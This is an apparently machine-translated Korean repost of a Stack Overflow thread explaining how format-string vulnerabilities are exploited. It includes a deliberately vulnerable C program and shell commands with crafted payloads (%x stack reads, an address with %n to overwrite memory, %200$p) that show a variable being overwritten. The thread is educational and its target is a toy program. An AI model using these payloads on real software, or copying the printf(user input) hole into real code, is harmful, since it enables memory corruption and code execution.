UFO ET IT

Format-String 취약점은 어떻게 악용 될 수 있습니까?

ufoet 2020. 11. 20. 17:24
반응형

Format-String 취약점은 어떻게 악용 될 수 있습니까?


코드의 취약성에 대해 읽고이 Format-String Vulnerability를 발견했습니다 .

Wikipedia 말한다 :

형식 문자열 버그는 프로그래머가 사용자가 제공 한 데이터를 포함하는 문자열을 인쇄하려고 할 때 가장 일반적으로 나타납니다. 프로그래머가 printf ( "% s", buffer) 대신 printf (buffer)를 실수로 쓸 수 있습니다. 첫 번째 버전은 버퍼를 형식 문자열로 해석하고 포함 할 수있는 모든 형식 지정 명령을 구문 분석합니다. 두 번째 버전은 프로그래머가 의도 한대로 단순히 문자열을 화면에 인쇄합니다.

printf (buffer) 버전에 문제가 있었지만 공격자가이 취약점을 사용하여 유해한 코드를 실행하는 방법을 알지 못했습니다. 누군가가이 취약점을 예제로 어떻게 악용 할 수 있는지 알려 주실 수 있습니까 ?


직접 또는 간접적으로 여러 가지 방법으로 형식 문자열 취약점을 악용 할 수 있습니다. 다음을 예로 들어 보겠습니다 (어쨌든 매우 드물지만 관련 OS 보호가 없다고 가정).

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

이 취약점의 근간은 변수 인수가있는 함수의 동작입니다. 가변 개수의 매개 변수 처리를 구현하는 함수는 기본적으로 스택에서 매개 변수를 읽어야합니다. printf()스택에서 두 개의 정수를 예상 하는 형식 문자열을 지정하고 하나의 매개 변수 만 제공하면 두 번째 매개 변수는 스택에서 다른 값이어야합니다. 확장하여 형식 문자열을 제어 할 수 있다면 가장 기본적인 두 가지 기본 요소를 가질 수 있습니다.


임의의 메모리 주소에서 읽기

[편집] 중요 : 여기서 스택 프레임 레이아웃에 대해 몇 가지 가정을하고 있습니다. 취약점의 기본 전제를 ​​이해하고 OS, 플랫폼, 프로그램 및 구성에 따라 다르면 무시할 수 있습니다.

%sformat 매개 변수를 사용하여 데이터를 읽을 수 있습니다. 에서 원래 형식 문자열의 데이터 printf(text)를 읽을 수 있으므로 스택에서 무엇이든 읽을 수 있습니다.

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

임의의 메모리 주소에 쓰기

%n형식 지정자를 사용하여 임의의 주소 (거의)에 쓸 수 있습니다 . 다시 말하지만, 이제 위의 취약한 프로그램을 가정 해 봅시다, 그리고의는의 값 변경 해보자 some_value에 위치하고 있으며, 0x08049794위에서 본 바와 같이 :

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

지정자를 만나기 some_value전에 쓴 바이트 수 ()로 덮어 썼습니다 . 형식 문자열 자체 또는 필드 너비를 사용하여이 값을 제어 할 수 있습니다.%nman printf

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

시도해 볼 수있는 많은 가능성과 트릭 (직접 매개 변수 액세스, 넓은 필드 너비로 둘러싸 기 가능, 고유 한 기본 요소 구축)이 있으며 이는 빙산의 일각에 해당합니다. fmt 문자열 취약성에 대한 더 많은 기사 (Phrack은 약간 고급 일 수 있지만 대부분 우수한 항목이 있음) 또는 주제에 대해 다루는 책을 읽는 것이 좋습니다.


면책 조항 : 예제는 Jon Erickson 의 Hacking : The art of exploitation (2nd ed) 책에서 [축 어적이지는 않지만] 가져 왔습니다 .


n$POSIX에서 지원 하는 표기법 을 아무도 언급하지 않은 것은 흥미 롭습니다 . 공격자로 형식 문자열을 제어 할 수있는 경우 다음과 같은 표기법을 사용할 수 있습니다.

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.


Ah, the answer is in the article!

Uncontrolled format string is a type of software vulnerability, discovered around 1999, that can be used in security exploits. Previously thought harmless, format string exploits can be used to crash a program or to execute harmful code.

A typical exploit uses a combination of these techniques to force a program to overwrite the address of a library function or the return address on the stack with a pointer to some malicious shellcode. The padding parameters to format specifiers are used to control the number of bytes output and the %x token is used to pop bytes from the stack until the beginning of the format string itself is reached. The start of the format string is crafted to contain the address that the %n format token can then overwrite with the address of the malicious code to execute.

This is because %n causes printf to write data to a variable, which is on the stack. But that means it could write to something arbitrarily. All you need is for someone to use that variable (it's relatively easy if it happens to be a function pointer, whose value you just figured out how to control) and they can make you execute anything arbitrarily.

Take a look at the links in the article; they look interesting.


I would recommend reading this lecture note about format string vulnerability. It describes in details what happens and how, and has some images that might help you to understand the topic.


AFAIK it's mainly because it can crash your program, which is considered to be a denial-of-service attack. All you need is to give an invalid address (practically anything with a few %s's is guaranteed to work), and it becomes a simple denial-of-service (DoS) attack.

Now, it's theoretically possible for that to trigger anything in the case of an exception/signal/interrupt handler, but figuring out how to do that is beyond me -- you need to figure out how to write arbitrary data to memory as well.

But why does anyone care if the program crashes, you might ask? Doesn't that just inconvenience the user (who deserves it anyway)?

The problem is that some programs are accessed by multiple users, so crashing them has a non-negligible cost. Or sometimes they're critical to the running of the system (or maybe they're in the middle of doing something very critical), in which case this can be damaging to your data. Of course, if you crash Notepad then no one might care, but if you crash CSRSS (which I believe actually had a similar kind of bug -- a double-free bug, specifically) then yeah, the entire system is going down with you.


Update:

See this link for the CSRSS bug I was referring to.


Edit:

Take note that reading arbitrary data can be just as dangerous as executing arbitrary code! If you read a password, a cookie, etc. then it's just as serious as an arbitrary code execution -- and this is trivial if you just have enough time to try enough format strings.

참고URL : https://stackoverflow.com/questions/7459630/how-can-a-format-string-vulnerability-be-exploited

반응형